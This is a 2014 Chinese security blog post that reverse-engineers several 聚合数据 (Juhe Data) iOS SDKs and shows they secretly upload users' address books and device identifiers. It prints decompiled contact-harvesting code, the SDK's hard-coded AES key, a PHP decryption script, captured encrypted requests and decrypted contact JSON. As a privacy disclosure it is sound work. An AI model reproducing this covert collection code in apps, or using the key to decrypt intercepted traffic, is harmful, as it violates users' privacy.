关于聚合数据窃取用户通讯录的完整分析

标签: 终端安全 聚合数据 | 发表时间:2014-11-05 18:01 | 作者:sha2147483647
出处:http://www.freebuf.com

起因

之前在测试聚合数据的  iOS SDK Demo  的时候,发现会请求通讯录权限 … 当时刚睡醒没多久,拿了自己在用的手机,还点了 Allow。 然后我就在 Charles 里发现了一个很大的请求,很好奇,便对 SDK 进行了逆向工程,拿到了解密方法,发现我的整个通讯录都被上传了。

于是我在 V2EX 发了一个帖子  请不要使用聚合数据的 SDK,后来被聚合的工作人员看到,他们是 这样回复的:

聚合数据一直致力于为开发者提供更为优质的数据服务,并基于此出发点,推出了聚合数据SDK,该SDK整合了目前聚合数据所提供的所有数据接口,此次aveline反馈的聚合数据SDK读取通讯录问题,实质上是聚合数据
为了方便用户使用由聚合数据提供的短信API服务
。此举对于非短信API服务使用者可能会造成一定不适,考虑到这一点,我们立即对于IOS版与Android版SDK进行了更新,不再要求读取通讯录权限,并对于此前为开发者用户考虑不周的行为表示诚挚歉意,并保证不再进行此类有侵犯用户隐私嫌疑的行为。 
聚合数据是一个严格恪守行业底线的平台,聚合数据在进行数据分析的过程中极为注重隐私的保护,数据都进行了严格的加密处理,所搜集的数据仅用于改进网站服务本身,并未用于任何非法用途,对于聚合数据注册账号及密码,也进行了严格的加密措施。

在 CEO 的微博上是 这么 回复的:

昨天晚上收到这个投诉,问了技术人员说是 主要考量是方便短信api用户  目前sdk 已连夜更新 彻底删除通讯录读取功能

但是实际上并非如此。

来,我们一个一个 SDK 看过去。

分析

因为部分版本已经被更新过,新版的确是  没有 通讯录读取功能,我们这里以老版本来分析。

有些不了解的读者可能会觉得更新了 SDK 就好了呀,但是其实不是这样子的:SDK 是嵌入在 App 里的,要 App 的开发者更新了,提交到 App Store 之后,终端用户更新了才不会继续被窃取通讯录,但是众所周知苹果审核 App 速度并不快,所以还会有很多使用了这个 SDK 并且用户允许访问通讯录的 App 被利用,继续向聚合数据的服务器上传通讯录。

另外,聚合数据服务器上用于接收上传的通讯录的接口并没有被删掉,而是仍然能够正常处理数据的。你就算为了骗我伪造个 404 也好呀~连伪装都不伪装一下,真是不要脸(不过也很有可能是智商低XD

聚合数据 SDK (iOS SDK v1.0.2)

使用  strings 很清楚的可以看到:

# strings JuheApis | grep -b1 "openid="13015-%@[]  13020:openid=%@imei=%@&lat=%@&lon=%@&os=%@&type=%@&model=%@&sim=%@&network=%@&idfa=%@&pname=%@  
13109-z@J:70=o*O%~!8-i

z@J:70=o*O%~!8-i 就是他们加密请求用的密钥啦。

所以,说好的  数据都进行了严格的加密处理 其实就是我们数据加密了但是我们把密钥明文放在里面了哟要看自己拿哟么么哒~

值得一提的是,代码里把用于 AES 的函数命名为了  DESEncrypt,而早期版本中则是直接有一个  libAes.so 的文件,不得不问一下:是不是为了窃取用户数据然后想改下函数名迷惑下反编译的人呢?可是 … 请问你知道汇编嘛?

因为看汇编代码有点头疼,以下给出的代码均为反编译后生成的 C 代码,并非我拿到了他们的源代码哦。

初始化部分:

// JHHTTPClient + (void)initJHHTTPClient:(int) OpenId:(id) Path:(id) URLRoot:(id) Method:(id) Key:(id) Success:(id) Failure:(id)void __cdecl +[JHHTTPClient initJHHTTPClient:OpenId:Path:URLRoot:Method:Key:Success:Failure:](struct JHHTTPClient *self, SEL a2, int a3, id a4, id a5, id a6, id a7, id a8, id a9, id a10)  {
  int v10; // esi@1  void *v11; // eax@1  void *v12; // eax@1  int v13; // edi@1  void *v14; // eax@1  int v15; // esi@1  void *v16; // eax@1  int v17; // ebx@1  void *v18; // eax@4  void *v19; // edi@4  void *v20; // eax@6  int v21; // ebx@6  void *v22; // eax@8  void *v23; // eax@10  int v24; // ebx@10  void *v25; // eax@11  void *v26; // ST30_4@11  int v27; // edi@11  void *v28; // eax@13  void *v29; // ST30_4@13  int v30; // edi@13  int v31; // [sp+30h] [bp-38h]@1  void *v32; // [sp+38h] [bp-30h]@1  int v33; // [sp+3Ch] [bp-2Ch]@1  int v34; // [sp+40h] [bp-28h]@1  int v35; // [sp+44h] [bp-24h]@1  int v36; // [sp+48h] [bp-20h]@1  int v37; // [sp+4Ch] [bp-1Ch]@1  int v38; // [sp+50h] [bp-18h]@1  void *v39; // [sp+54h] [bp-14h]@1  int v40; // [sp+58h] [bp-10h]@2
  v10 = objc_retain(a4);
  v33 = objc_retain(a5);
  v38 = objc_retain(a6);
  v37 = objc_retain(a7);
  v36 = objc_retain(a8);
  v35 = objc_retain(a9);
  v34 = objc_retain(a10);
  v11 = objc_msgSend(classRef_JuHeInfo, selRef_sharedInfo);
  v39 = (void *)objc_retainAutoreleasedReturnValue(v11);
  v31 = v10;
  objc_msgSend(v39, selRef_initInfo_, v10);
  v12 = objc_msgSend(v39, selRef_getDicRawInfo);
  v13 = objc_retainAutoreleasedReturnValue(v12);
  v14 = objc_msgSend(classRef_NSMutableArray, selRef_alloc);
  v32 = objc_msgSend(v14, selRef_init);
  v15 = v33;
  v16 = objc_msgSend(v39, selRef_getDicRawInfo);
  v17 = objc_retainAutoreleasedReturnValue(v16);
  objc_release(v13);
  if ( a3 != 1 )
  {
    v40 = v17;
    if ( (a3 & 0xFFFFFFFE) == 2 )
    {
      v18 = objc_msgSend(classRef_NSMutableDictionary, selRef_alloc);
      v19 = objc_msgSend(v18, selRef_init);
      objc_msgSend(v19, selRef_setDictionary_, v17);
      if ( a3 == 3 )
      {
        if ( ABAddressBookGetAuthorizationStatus() == 3 )
        {
          objc_msgSend(v39, selRef_fetchAddressBookInfo_, v32);
          v20 = objc_msgSend(v39, selRef_getSMSAddressBookJsonString_, v32);
          v21 = objc_retainAutoreleasedReturnValue(v20);
          objc_msgSend(v19, selRef_setObject_forKey_, v21, CFSTR("up"));
          objc_release(v21);
        }
      }
      else
      {
        objc_msgSend(v39, selRef_fetchAddressBookInfo_, v32);
        v25 = objc_msgSend(v39, selRef_getSMSAddressBookJsonString_, v32);
        v26 = v19;
        v27 = objc_retainAutoreleasedReturnValue(v25);
        objc_msgSend(v26, selRef_setObject_forKey_, v27, CFSTR("up"));
        objc_release(v27);
        v19 = v26;
      }
      objc_msgSend(
        classRef_JHHTTPClient,
        selRef_sendEncryptData_URLRoot_Data_Method_Key_Success_Failure_,
        v33,
        v38,
        v19,
        v37,
        v36,
        v35,
        v34);
    }
    else
    {
      if ( (a3 & 0xFFFFFFFE) != 4 )
        goto LABEL_16;
      v22 = objc_msgSend(classRef_NSMutableDictionary, selRef_alloc);
      v19 = objc_msgSend(v22, selRef_init);
      objc_msgSend(v19, selRef_setDictionary_, v17);
      if ( a3 == 5 )
      {
        if ( ABAddressBookGetAuthorizationStatus() == 3 )
        {
          objc_msgSend(v39, selRef_fetchAddressBookInfo_, v32);
          v23 = objc_msgSend(v39, selRef_getSMSAddressBook_, v32);
          v24 = objc_retainAutoreleasedReturnValue(v23);
          objc_msgSend(v19, selRef_setObject_forKey_, v24, CFSTR("list"));
          objc_release(v24);
        }
      }
      else
      {
        objc_msgSend(v39, selRef_fetchAddressBookInfo_, v32);
        v28 = objc_msgSend(v39, selRef_getSMSAddressBook_, v32);
        v29 = v19;
        v30 = objc_retainAutoreleasedReturnValue(v28);
        objc_msgSend(v29, selRef_setObject_forKey_, v30, CFSTR("list"));
        objc_release(v30);
        v19 = v29;
      }
      objc_msgSend(
        classRef_JHHTTPClient,
        selRef_sendEncryptJsonData_URLRoot_Data_Method_Key_Success_Failure_,
        v33,
        v38,
        v19,
        v37,
        v36,
        v35,
        v34);
    }
    objc_release(v19);
    v15 = v33;
    goto LABEL_16;
  }
  v40 = v17;
  objc_msgSend(
    classRef_JHHTTPClient,
    selRef_sendEncryptData_URLRoot_Data_Method_Key_Success_Failure_,
    v33,
    v38,
    v17,
    v37,
    v36,
    v35,
    v34);LABEL_16:  
  objc_release(v32);
  objc_release(v40);
  objc_release(v39);
  objc_release(v34);
  objc_release(v35);
  objc_release(v36);
  objc_release(v37);
  objc_release(v38);
  objc_release(v15);
  objc_release(v31);}

里面的

objc_msgSend(v39, selRef_fetchAddressBookInfo_, v32);  v23 = objc_msgSend(v39, selRef_getSMSAddressBook_, v32);

就是用来获取通讯录的代码。

以下是执行 API 调用的部分:

// JuheAPI - (void)executeWorkWithAPI:(id) parameters:(id) success:(id) failure:(id) 
void __cdecl -[JuheAPI executeWorkWithAPI:parameters:success:failure:](struct JuheAPI *self, SEL a2, id a3, id a4, id a5, id a6)  {
  void *v6; // eax@1  void *v7; // eax@1  void *v8; // esi@1  void *v9; // eax@1  void *v10; // eax@1  void *v11; // eax@1  void *v12; // edi@1  void *v13; // eax@1  void *v14; // esi@1  void *v15; // eax@4  int v16; // esi@4  void *v17; // eax@4  int v18; // eax@4  int v19; // edi@4  int v20; // ST3C_4@5  void *v21; // [sp+40h] [bp-58h]@4  int v22; // [sp+44h] [bp-54h]@1  int v23; // [sp+48h] [bp-50h]@1  int v24; // [sp+4Ch] [bp-4Ch]@1  int v25; // [sp+50h] [bp-48h]@1  int v26; // [sp+54h] [bp-44h]@1  void **v27; // [sp+58h] [bp-40h]@5  int v28; // [sp+5Ch] [bp-3Ch]@5  int v29; // [sp+60h] [bp-38h]@5  int (__cdecl *v30)(int, int); // [sp+64h] [bp-34h]@5  int v31; // [sp+68h] [bp-30h]@5  int v32; // [sp+6Ch] [bp-2Ch]@5  void **v33; // [sp+70h] [bp-28h]@5  int v34; // [sp+74h] [bp-24h]@5  int v35; // [sp+78h] [bp-20h]@5  int (__cdecl *v36)(int, int); // [sp+7Ch] [bp-1Ch]@5  int v37; // [sp+80h] [bp-18h]@5  int v38; // [sp+84h] [bp-14h]@5
  v26 = objc_retain(a3);
  v25 = objc_retain(a4);
  v22 = objc_retain(a5);
  v24 = objc_retain(a6);
  v6 = objc_msgSend(classRef_JHOpenidSupplier, selRef_shareSupplier);
  v7 = (void *)objc_retainAutoreleasedReturnValue(v6);
  v8 = v7;
  v9 = objc_msgSend(v7, selRef_getLatestJuheAPIOpenId);
  v23 = objc_retainAutoreleasedReturnValue(v9);
  objc_release(v8);
  v10 = objc_msgSend(classRef_NSUserDefaults, selRef_standardUserDefaults);
  v11 = (void *)objc_retainAutoreleasedReturnValue(v10);
  v12 = v11;
  v13 = objc_msgSend(v11, selRef_objectForKey_, CFSTR("ujc"));
  v14 = (void *)objc_retainAutoreleasedReturnValue(v13);
  objc_release(v12);
  if ( !v14 || !(unsigned __int8)objc_msgSend(v14, selRef_isEqualToString_, CFSTR("1")) )
    objc_msgSend(
      classRef_JHHTTPClient,
      selRef_initJHHTTPClient_OpenId_Path_URLRoot_Method_Key_Success_Failure_,
      4,
      v23,
      CFSTR("initialize"),
      CFSTR("http://sdk.juhe.cn"),
      CFSTR("POST"),
      CFSTR("z@J:70=o*O%~!8-i"),
      &__block_literal_global67,
      &__block_literal_global69);
  v21 = v14;
  v15 = objc_msgSend(self, selRef_calibrateParameters_api_, v25, v26);
  v16 = objc_retainAutoreleasedReturnValue(v15);
  v17 = objc_msgSend(classRef_JHHTTPClient, selRef_sharedJuHeHTTPClient);
  v18 = objc_retainAutoreleasedReturnValue(v17);
  v19 = v22;
  if ( v18 )
  {
    v33 = _NSConcreteStackBlock;
    v34 = -1040187392;
    v35 = 0;
    v20 = v18;
    v36 = __57__JuheAPI_executeWorkWithAPI_parameters_success_failure___block_invoke_3;
    v37 = (int)&__block_descriptor_tmp76;
    v38 = objc_retain(v22);
    v27 = _NSConcreteStackBlock;
    v19 = v22;
    v28 = -1040187392;
    v29 = 0;
    v30 = __57__JuheAPI_executeWorkWithAPI_parameters_success_failure___block_invoke77;
    v31 = (int)&__block_descriptor_tmp80;
    v32 = objc_retain(v24);
    objc_msgSend(
      classRef_JHHTTPClient,
      selRef_sendEncryptData_URLRoot_Data_Method_Key_Success_Failure_,
      CFSTR("/api"),
      CFSTR("http://sdk.juhe.cn"),
      v16,
      CFSTR("GET"),
      CFSTR("z@J:70=o*O%~!8-i"),
      &v33,
      &v27);
    objc_release(v32);
    objc_release(v38);
    v18 = v20;
  }
  objc_release(v18);
  objc_release(v16);
  objc_release(v21);
  objc_release(v23);
  objc_release(v24);
  objc_release(v19);
  objc_release(v25);
  objc_release(v26);}

可以清楚的看到,这里并没有判断是否是调用的短信 API,而判断的是有没有拿到通讯录,有的话,上传。

另外,就算是像他们所说的  方便短信api用户:嗯我们把他曲解成和开发者共享用户隐私好啦,聚合数据的后台里也没有能看到的地方呀那你到底方便的是谁呐~

呐,拿到加密方式和密钥,解密也就很容易啦:

#!/usr/bin/env php<?php  function decrypt($data) {  
  $method = 'AES-128-ECB';
  $password = 'z@J:70=o*O%~!8-i';
  $data = hex2bin($data);
  return mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $password, $data, MCRYPT_MODE_ECB);}$data = trim(file_get_contents('php://stdin'));echo decrypt($data);

现在我们来解密它发送的三个请求:

GET /initapi?0EF3CC39DB8ED6938DC47B2D626F4D1FAEA274211EB1A8FC1490F7FA0BFCD28ACE887174D7C22BAE74DB70A6197552C58E48B39A41B4C798B82E44F34F9EDCE1C3A92E1BC679C91D87CBD598CC36C52AA00294A748DCCE0DF84704E73D00C6A7B8299ED6ED854906B3E72C1028873F7E8FBF1C38A799E059C80AD0A76836C8FB3CA9B410DC41B30394F76CFF4FD321783EDE69D322CA8658FF982E7BD77FAF69C7D798338B01BC62AAD9F20C426642ABE4E6B8DCDDE379ECA2F5188990E2F9FB0E9489AEB47955DC00DE2AD752F06B6BAA18141CBB1C047356D41A8984EE16790C1C18C765A46B8625FCC9E08C3A981226F7BC31422DF0CF446789B808A9003AD73133CCE0A2C79B38EB1A4D92FCF8FBB0C47186418D2EF55E96D2569D544AB84983EB013C2A5FD3B1EBC5EE6234652FE4ABBDE85FE04B5A6372A4004AD74622 HTTP/1.1  
Host: sdk.juhe.cn  
Accept-Encoding: gzip, deflate  
Accept: */*  
Accept-Language: en;q=1  
Connection: keep-alive  
User-Agent: JuheApisDemo/1 (iPhone; iOS 8.1; Scale/2.00)

解密后是一串 querystring,为了看得更清楚一些我这里以 JSON 的格式显示:

{
   "idfa" : "13D66220-D133-4145-8D60-4A1CC99C0178",
   "lat" : "0.000000",
   "model" : "iPhone",
   "lon" : "0.000000",
   "pname" : "com.thinkland.JuheApisDemo",
   "sim" : "中国电信",
   "imei" : "48d34682f03f55be46b953bd5e2111c14c0c5e9a",
   "os" : "8.1",
   "openid" : "JH1a5e42462c03dbec36c224c33fa0be65",
   "network" : "CTRadioAccessTechnologyCDMAEVDORevA",
   "type" : "iPhone OS"
}

发送了我的 IDFA、位置、手机型号、运营商、IMEI、系统版本和网络制式。其中位置信息由于没有请求位置权限,所以显示的是 0.000000。

这里的都还好,下一个请求:

POST /initialize HTTP/1.1  
Host: sdk.juhe.cn  
Accept: */*  
Accept-Encoding: gzip, deflate  
Content-Length: 3040  
Content-Type: application/x-www-form-urlencoded; charset=utf-8  
Accept-Language: en;q=1  
Connection: keep-alive  
User-Agent: JuheApisDemo/1 (iPhone; iOS 8.1; Scale/2.00)
73AA9E8CBE5FCFDF120F9C4E3ADA11E5098FE158DA50A604D3E3F22D31DFFBDD806962BCC8DD56CC691F11C72525983C6D0259878085EF80988D6493A7977BD3E8AB0F802D54E81DDC38DF4D1B30526857EFE953AE6BE9729EDDA125CFFCE686BEB010E79E646E75507B21F15C838019D1AB170B39BE4BD115A988B15E51D0D569B1CC2C3B34B4191756906065E05D8B0F324CE47DA85F29BC3CE88D1A3FD2D9D861CDED624387A70C0B4F774212A9E6153C148427BB5B4371C9071FC19B04A5088F27CF599B48677D0D86104486FE4DAB8B125A6B16BABB0810BCB2B855ADA41F9110D0FA7B84C2E283545DC1281FC149BBE809B9C908F345966351211F168363253677BE2E0702331C19B9545A5F8297EA564E085BEF3B4D4CDB3A974BD92A027665649F9772A095F436C26C4348E482BC78DC9F08B39EE0D8E7EE4F3108189E2F1FB7B4A902CCE70C281733F0312AE23B954D92A4E4B8BFF9E696A114BE3F1AEBC543089062710894AF433C0592F6AB22E234D64C7354EF33A9161E3B3ECEEE61D973D4E7AA9EDF38FCF19848AF388198C7C4B521E81709F8DDE72C242C34405F715A563624AD55BF5325BCF4885937D79C572FBDFA9D8FEE7F813E056CF2BAC50CEFE8086E8CA9DE848F0D1CEFA4F176387EE77F81109CE602AD64B1C9577B91F301D6BEA16E2F01CD5BB81268C72307585C26183E471DC2E58A19A7CFBE713E40F58B34EC796920F9828616F4D5E681616C2A5FB13BED991BE158D4817CBC90EEED88B0D776B36206AF919D92CBE748209AA64EDB889B013949DE263D2501E38C017BAB46BD43F6B0CA084FDDAEDB962E56D935FB3A6142F6B1A8A3DCDFFC45E20FCEC6AB362A9D04DE99D75CCF4C83F9934A82B013B3242459F8B9CEF4567780FDC35FA45B3CB15047D26DF994869C26E6E4688A2A54CC61B87CE69821F0B1DA768C0530A4E74B7AF11647C51C20285130168190E10F799E12A69C87919E3378F2D8E3ED0B4BE136E84A084E20F94F6EC8587310E38724A00DA5F039B793EF9C5B0DB3EE1EB8B593197E9B52B7862FEE0EEE6E742BD635644CED0CED33809B556CD7AC5390CB018652C3FF8D0145A704FA62E9EB669B68754B09BD04A20E0D0EA13104257B437E195347833CE9023D392EC0E94E8A463C0766BEEF623CF94F6EC8587310E38724A00DA5F039B726DE1C55C9A768460D9DCFAD1A60BBF36B0D6B18A57A4B725BDE71093EB8A8E9B593100C272D9B12596210DBCD8AC19AAFF55A224C561C3AF8705B6FCA7583D895E2CCEBE8AA14B6FD90044FE1821573036754EE03624BD10D23257F06436735AA5179C5E74DF92FFCA0C6AF61E1256F7CE8E348A8DD4706DF4FC52A54098D38791434CA45E1693DBFDE6639715CDD18FB35D8DE5FC57CFC9C2AAC289875747487EDCCB050E6F700B36DD04074833DAA3CA9C3ADB15C3552AFE488352ADA4E2FB3FD3B63C8BE2A38296092EA1F6D26F84B5B46ED65AE90DFD8D21D7D7849A2F5480E50922CC47C9E4316E7B52E706EC9B30C0041F64DD3241F3E8FFFDF32D6C4B8DC4FD1A27ED1DEE1EA68123F513CE09F886224E11583A3FAF063D48E5CD35D67C8142EA206AAF0A8ECBA1123157C24E126A6CAB35917C3686129D39D9A14DFF323D815610E29DE3B5EDA91CD91EDE67DCAC51728F5CD199C5CDFA4D618DA05027665649F9772A095F436C26C4348E41DFEB2E751049592775469D52996E7629E2F1FB7B4A902CCE70C281733F0312A26E606DAEE06EF6AA3861F58F56D66E07BEC6D2CCA7448216A4B0A634282C11DDC4F17F26B0B976992F90221843744E6F7E1E4690D797ED65297B276B5E6BD5232284CA56B21F5A806DAEF23840169D616471EE50B4410227FD485CC05F64C33D437E833B4D31661ECB89A8F5D3A1C425729369D205F628BC39B18E5057DEB364D6619554E66FC97A874BF0F15FE6D1B856FF906E8462DCCECBD958A4FE80647298AFE00F2A640D519FFF81AA3DEF742827D627E04B3B557D8F899FFEECA8D6E3E98DE406026B64AC040C0377F9479296E6BC9647C3DF34405F2D69EBC4957D0C656E0C7792996FABF85BD4462C1F2953EDE69D322CA8658FF982E7BD77FAF69130AD757016D7D982E51B013A967F19B

解密后是一串格式化过的 JSON,说起来真是浪费空间呐,虽然有 gzip 也不要这样子嘛:

{
   "idfa" : "13D66220-D133-4145-8D60-4A1CC99C0178",
   "type" : "iPhone OS",
   "pname" : "com.thinkland.JuheApisDemo",
   "sim" : "中国电信",
   "lon" : "",
   "list" : [
      {
         "disPlayName" : "DoeJoe",
         "listNoteinfo" : [
            {
               "noteinfo" : ""
            }
         ],
         "listAddress" : [
            {
               "street" : "",
               "city" : "",
               "region" : "",
               "postCode" : "",
               "formatAddress" : "{\n    City = Suzhou;\n    Country = China;\n    CountryCode = cn;\n    State = Jiangsu;\n    Street = \"Each St\\nChangwan\";\n    ZIP = 215000;\n}"
            }
         ],
         "contactId" : "1",
         "listEmail" : [
            {
               "emailType" : "",
               "emailValue" : "[email protected]"
            }
         ],
         "listPhone" : [
            {
               "phoneType" : "iOS",
               "phoneNumber" : " (0) 21110"
            },
            {
               "phoneNumber" : " (0) 10110",
               "phoneType" : "iOS"
            },
            {
               "phoneType" : "iOS",
               "phoneNumber" : " (0) 1012315"
            }
         ],
         "listNickname" : [
            {
               "nickname" : ""
            }
         ],
         "listOrganizations" : [
            {
               "company" : "Spyware Technologies LLC",
               "title" : ""
            }
         ]
      }
   ],
   "imei" : "48d34682f03f55be46b953bd5e2111c14c0c5e9a",
   "model" : "iPhone",
   "openid" : "JH1a5e42462c03dbec36c224c33fa0be65",
   "lat" : "",
   "network" : "CTRadioAccessTechnologyCDMAEVDORevA",
   "os" : "8.1"
}

不用我再多说啥了吧?我给份对照表大家慢慢看。

由于里面的英文表达的不准确、大小写位置也有不正确的,可能引起强迫症患者不适,不过原文如此,我也没办法啦~

短信验证码 SDK (iOS SDK v1.0.1)

以下的我都偷懒直接 strings 大法好了:

# strings SMSSDKDemo/SMSSDK.framework/SMSSDK | grep -i SMSAddressBookuploadSMSAddressBook  
initSMSAddressBook:  
getSMSAddressBook:  
getSMSAddressBookJsonString:  
SMSAddressBook  
uploadSMSAddressBook  
initSMSAddressBook:  
getSMSAddressBook:  
getSMSAddressBookJsonString:  
SMSAddressBook  
uploadSMSAddressBook  
initSMSAddressBook:  
getSMSAddressBook:  
getSMSAddressBookJsonString:  
SMSAddressBook

这个版本最诚实, uploadSMSAddressBook 就直接当函数名了啊哈哈~

条码数据 SDK (iOS SDK v1.0.2)

# strings Barcode_iOSSDK_v1.2/barcode/demoBarcode/JuheBarcode.framework/Versions/A/JuheBarcode | grep -i SMSAddressBookinitSMSAddressBook:  getSMSAddressBook:  getSMSAddressBookJsonString:

会上传。

比价数据 SDK (iOS SDK v1.0.0)

# strings bijia.sdk.v1.0/JuhePrice.framework/Versions/A/JuhePrice| grep -i SMS

没有。

电商数据 SDK (iOS SDK v1.0.0)

# strings dianshang.sdk.v1.0/JuheEBusiness.framework/Versions/A/JuheEBusiness | grep -i SMS

没有。

聚合基站 (2.3.4)

会上传通讯录。

POST /initialize HTTP/1.1  
Host: sdk.juhe.cn  
Accept: */*  
Accept-Encoding: gzip, deflate  
Content-Length: 3136  
Content-Type: application/x-www-form-urlencoded; charset=utf-8  
Accept-Language: en;q=1  
Connection: keep-alive  
User-Agent: BaseStation/2.3.4 (iPhone; iOS 8.1; Scale/2.00)
73AA9E8CBE5FCFDF120F9C4E3ADA11E5098FE158DA50A604D3E3F22D31DFFBDD806962BCC8DD56CC691F11C72525983C6D0259878085EF80988D6493A7977BD3E8AB0F802D54E81DDC38DF4D1B30526857EFE953AE6BE9729EDDA125CFFCE686BEB010E79E646E75507B21F15C838019D1AB170B39BE4BD115A988B15E51D0D53BF955CA1EE69492CA2B92951D630AAACF07DDBA6B0FC5EBF680558092FA451EE3DD03DF6A1A9C68BDC1DA8B435BB9D6153C148427BB5B4371C9071FC19B04A52E391960CE962CE47DB5DFFBF0B118050BE1F9E08D3137F0DBF3F7CA62BD3E0CEB928FC5D6566C4F47AE673585E8B2A4B6C86290B100EA09BEF62C68C0B9DA1774D063D02DCC77C6AD08DBEE1BE10489D36A867B758B8F11AFFCD6E49D75F5051675D4F7BF036568726655509456492907285241129C3C08FC47BB12FA82343E6C1C5A23C8AF115D1BC074EFF2BFBDD3830CD2E7C64B0ECE88888D64DCEE4B0C49BBE809B9C908F345966351211F1683164E95824121A0C0F1CDD18257CDB57472F89D8135FEB13BEC886D10E0F5C694364223B0B1441B889A8BBBD94241801AD117846002D6E7F2B247B69D2273A612C1D1C6D5F511ACCA8016FEE51CDE6CE9E1C92FD44D74487E6F7AB50F6641031AE23B954D92A4E4B8BFF9E696A114BE3F1AEBC543089062710894AF433C0592F6AB22E234D64C7354EF33A9161E3B3ECEA72EF216AB7E09A2D01ECE84A09AF3798198C7C4B521E81709F8DDE72C242C34405F715A563624AD55BF5325BCF4885937D79C572FBDFA9D8FEE7F813E056CF2BAC50CEFE8086E8CA9DE848F0D1CEFA4F176387EE77F81109CE602AD64B1C95786E591A1B6B28F0803EDF40B841C99CA33AE5183815AA0163C8858A036AA1E0A02A702660ECD4F0A91963F3E0199E06868BB46A706F815E0B476A516345D3DC44F02475D87169EFB0DD8C57FACD999C414127E2B443716C2C077A788365722112386DD49D3A4FB6E53342E4AED87A8D5F6F30E95EA8F7AC6418FAB93C7D8D0FC93AE9B7357DC24877CC7D4A8845E9FC932284CA56B21F5A806DAEF23840169D6BE8E3C5EB8C48F3090BAC0420B8515662F3C660851C368255D6C8D8CD42F712396B68821543C007F86422D935ED43FC1F4A5533B56B09663441EEDA4A4DE2AB2FA44E7579C1F2C30A2DC0AC3DF16ECFDC5EDB9B7C219AA46CBE8E9AFDEDECDBF177BA213B7A48DD46C9D61793E16F914BE8E3C5EB8C48F3090BAC0420B851566A53D2AF64C414B5FCDDD3B8F5A414C754DFD588FF47DBEDF19877EDEF91197EE260B744B3E6B2B25CE39480B224403FA1E8495267D17FA9756F7A400879EA235D75083030956B00E8A62B4708A778F0EB562E16C8E06EB7DB7FA4B35CDC7C66123D09FBFBC69B8985D908FAE76FDD279239DD8306DE513A206856E3AB40064BEAF9B61971ACE7C9A46A7EFFC4C5BC2A80968B89969BD1535F04663F0FD7B34D96CECD7038867BD9F957E38F1DB532933F4CEA2A1C5D6D61FDD8D91F7F498291F513EC290E7C8389799D60F5462300687AAC5E45F542E22FE63FEBC8CF00925E0A38D2A579116AE2BFB36F300ACA048648A4257429F1439E8F1E36986A3B9E8CE6AD933B0E7B484E34068E5060DD1B76ABBEFC43BE7A1E4D69A825C24211D0CF6CE8D77A9DAFFFD272118F335B70E88D8A75F63C92D5BE8A79601AC8067C37BF5F6EFBA24FFE3D241F2F12ED1886460516C1C5A23C8AF115D1BC074EFF2BFBDD3BE645B255BD77018A65F6862221ACA4749BBE809B9C908F345966351211F1683086D73DA945916C5D8EFC82C2CB859F43FACBEDAAB1084CD6CE091FBB20B1A159FEE8FCEAA4FCA8A7ACB53B145F248D5086D73DA945916C5D8EFC82C2CB859F4591E4F586413F532C14C6618CB12685DEBFE034BD7EF6CB7949682DC04B9399E973A0F55DA9BB508CA5E70060E04B9AAA27BBC70E1BCDBC76F5F37CA162B2ABE2933BEBFF30847B06F2E5339BA67B8133DA5CD554C1BE5C1EFE85378321E298E272F6C13B9AB3DD738DBA98AC717C7F30EBABE1395E76606BD4F1CBACDE01715E2AEF32E6C5F69E0D1DF5B312BD2412C63C374D5F722BD9F936FE99398DCA88741425F621429491885440F5267A3EC3ACD611BB843FAB1C31078AC40FD6EE365704FFADD5A5441903C6170EECFAABCCB21F60C8CCEFE80733BB66F704BA645ED

解密后结果:

{
  "idfa" : "13D66220-D133-4145-8D60-4A1CC99C0178",
  "lon" : "",
  "sim" : "中国电信",
  "type" : "iPhone OS",
  "imei" : "321a804136f53aef66a52296f4773ba4f3c1abf0",
  "os" : "8.1",
  "lat" : "",
  "pname" : "com.think-land.juhe",
  "list" : [
    {
      "listNickname" : [
        {
          "nickname" : ""
        }
      ],
      "listPhone" : [
        {
          "phoneType" : "iOS",
          "phoneNumber" : " (0) 21110"
        },
        {
          "phoneType" : "iOS",
          "phoneNumber" : " (0) 10110"
        },
        {
          "phoneType" : "iOS",
          "phoneNumber" : " (0) 1012315"
        }
      ],
      "listOrganizations" : [
        {
          "company" : "Spyware Technologies LLC",
          "title" : ""
        }
      ],
      "disPlayName" : "DoeJoe",
      "listNoteinfo" : [
        {
          "noteinfo" : ""
        }
      ],
      "contactId" : "1",
      "listAddress" : [
        {
          "street" : "",
          "formatAddress" : "{\n    City = Suzhou;\n    Country = China;\n    CountryCode = cn;\n    State = Jiangsu;\n    Street = \"Each St\\nChangwan\";\n    ZIP = 215000;\n}",
          "city" : "",
          "postCode" : "",
          "region" : ""
        }
      ],
      "listEmail" : [
        {
          "emailValue" : "[email protected]",
          "emailType" : ""
        }
      ]
    }
  ],
  "model" : "iPhone",
  "openid" : "JHaf65a935c448fe7772d219d44a49e6aa",
  "network" : "CTRadioAccessTechnologyCDMAEVDORevA",
  "openId" : "JHaf65a935c448fe7772d219d44a49e6aa"
}

你查查 (1.6.4)

会上传通讯录。

POST /initialize HTTP/1.1  
Host: sdk.juhe.cn  
Accept: */*  
Accept-Encoding: gzip, deflate  
Content-Length: 3136  
Content-Type: application/x-www-form-urlencoded; charset=utf-8  
Accept-Language: en;q=1  
Connection: keep-alive  
User-Agent: Nichacha/1.6.4 (iPhone; iOS 8.1; Scale/2.00)
73AA9E8CBE5FCFDF120F9C4E3ADA11E5098FE158DA50A604D3E3F22D31DFFBDD806962BCC8DD56CC691F11C72525983C6D0259878085EF80988D6493A7977BD3E8AB0F802D54E81DDC38DF4D1B30526857EFE953AE6BE9729EDDA125CFFCE686BEB010E79E646E75507B21F15C838019D1AB170B39BE4BD115A988B15E51D0D53BF955CA1EE69492CA2B92951D630AAACF07DDBA6B0FC5EBF680558092FA451EE3DD03DF6A1A9C68BDC1DA8B435BB9D6153C148427BB5B4371C9071FC19B04A52E391960CE962CE47DB5DFFBF0B118050BE1F9E08D3137F0DBF3F7CA62BD3E0C9EB9EA5D89B024EDA2DCC42BCA338B855FD8C5C1DCCE8F5EAC43132DBB1B86C25B7178DBCAAAE928BEB1B4469B36CAB6B37CB52FD11A91F7904F100CE66C88EA565F944D78E7AC5BE9DCCB8C39BF165F3B4663145434B8A5C8A34BE68F92933639E75DFB3E55C1203AE720BA0A32C16A47B30B984AE14B9114F4870D1C0E8E59FA44E7579C1F2C30A2DC0AC3DF16ECFDF67D58706ADAEC0BA91D76BE04386F0E26A9F1D262DE155F712841D9578969A743593DF6499B05365D88B11D1D5B82A369BBB5B5C48DCC8C19CBC9306555012C498C42986F86C47DCA46AB02927D0FB60E0D0EA13104257B437E195347833CE93D0B4A8D5B9E3322EC172D27F38E